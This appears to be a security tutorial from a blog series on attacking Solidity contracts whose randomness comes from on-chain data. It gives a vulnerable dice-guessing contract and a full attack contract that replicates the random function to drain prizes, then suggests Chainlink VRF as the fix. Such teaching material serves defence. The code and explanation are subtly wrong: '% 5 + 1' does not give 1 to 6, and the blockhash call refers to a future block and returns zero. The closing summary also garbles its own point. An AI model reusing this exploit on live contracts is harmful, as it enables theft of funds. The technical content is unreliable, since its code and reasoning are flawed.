Smart Contract Randomness or ReplicatedLogic Attack

by

This is part 7 and a continuation of the Smart Contract Security Series.

  1. Ownership Exploit
  2. Private Variable Exploit
  3. Reentrancy Attack
  4. tx.origin Phishing Attack
  5. Denial of Service Attack
  6. Storage Collision Attack
  7. Randomness Attack
  8. Replay Attack

In this tutorial, the randomness attack or also called replicated logic attack is analyzed.

The problem in Solidity contracts is finding the true source of randomness.

We will see how generating a random number using on chain data cannot be trusted.  

The tutorial starts with exploiting the randomness vulnerability, followed by the possible solutions. Let us begin the exploration!

Exploit

To explain this exploit, you can consider any game where the user is asked to guess a random number such as a dice number, a card from a pack of cards, or an online lottery contract.

To keep it simple consider a contract game for guessing a dice.

The user is asked to guess a dice number between 1 to 6, and if it matches the random number generated in the contract, then the user is awarded a prize of 1 Ether.

The contract code for DiceGame.sol.

contract DiceGame
{
     constructor() payable{ }

    function guess_the_dice(uint8 _guessDice) public     {
          uint8 dice =  random();
          if (dice == _guessDice)           {
              (bool sent, ) = msg.sender.call{value: 1 ether}("");
              require(sent , "failed to transfer");
          }
    }
    // source of randomness (1-6)
    function random() private view returns (uint8)     {
         uint256 blockValue = uint256(blockhash(block.number-1 +    block.timestamp));
         return uint8(blockValue % 5) + 1;
    }
}

The contract logic is briefly explained.

  1. constructor() made payable to put some initial reward amount to the winner of the game.
  2. guess_the_dice() takes a param from the user (player), generates the random number, compares it with the user input number. If both are equal then the user (player) is rewarded with 1 Ether.
  3. The random() function uses the previous block number and the current block timestamp to get a random number. The previous block number (block.number-1) is used here because the blockhash() does not allow you to calculate it using the current block number as the current block is still under process w.r.t current transaction. Before the random value is returned we mod it by 5 and add 1 to keep the dice number between 1 to 6.

The attack.sol contract.

contract Attack{
    DiceGame dicegame;

   constructor(DiceGame _addrDicegame)
   {
       dicegame = _addrDicegame;
   }
  
  
   function attack() public{
        uint8 guess= random();
        dicegame.guess_the_dice(guess);
   }

    // source of randomness (1-6) copied from the DiceGame contract
    function random() private view returns (uint8) {
        uint256 blockValue = uint256(blockhash(block.number-1 +    block.timestamp));
        return uint8(blockValue % 5) + 1;
    }

    // gets called to rx ether
    receive() external payable {}

    function get_balance() public view returns(uint256) {

        return address(this).balance;
    }

}

The attack contract logic in detail.

  1. The constructor accepts the address of the deployed DiceGame contract so that it can interact with this contract.
  2. The attack() function uses or replicates the exact random function used by the DiceGame contract as the source code of the DiceGame contract is available as open-source or on etherscan (as part of contract section or verified contracts). After getting the random number it calls guess_the_dice(). 
  3. get_balance() gives the balance of the attacker contract.

Copy the contracts in Remix and execute them.

How the Exploit Occurred

As you can see, every time the attacker calls the attack() function, he/she is able to match it exactly with the number in the guess_the_dice() function of the DiceGame contract.

As the random() function was replicated from the DiceGame contract, it will generate the same random number in attack() and guess_the_dice() as both functions will be part of the same transaction, in other words, the same block.

How to Prevent the Attack

  • The attack can be prevented if any on-chain data such as blockhash, block.number, block.timestamp is not used as the source of randomness in the contracts.
  • Use ChainlinkVRF as the source of true randomness in contracts.

Summary

In this tutorial, we saw how assuming that the on-chain data related to blockchain such as block.timestamp or block.number can give us true randomness that cannot be duplicated or exploited.

While it is true that in computer science it is hard to generate a true random number with the help of an algorithm, some functions are better than the others and chainlink VRF is one such function that helps in generating a provably fair and verifiable random number.

Programmer Humor

Q: How do you tell an introverted computer scientist from an extroverted computer scientist?

A: An extroverted computer scientist looks at your shoes when he talks to you.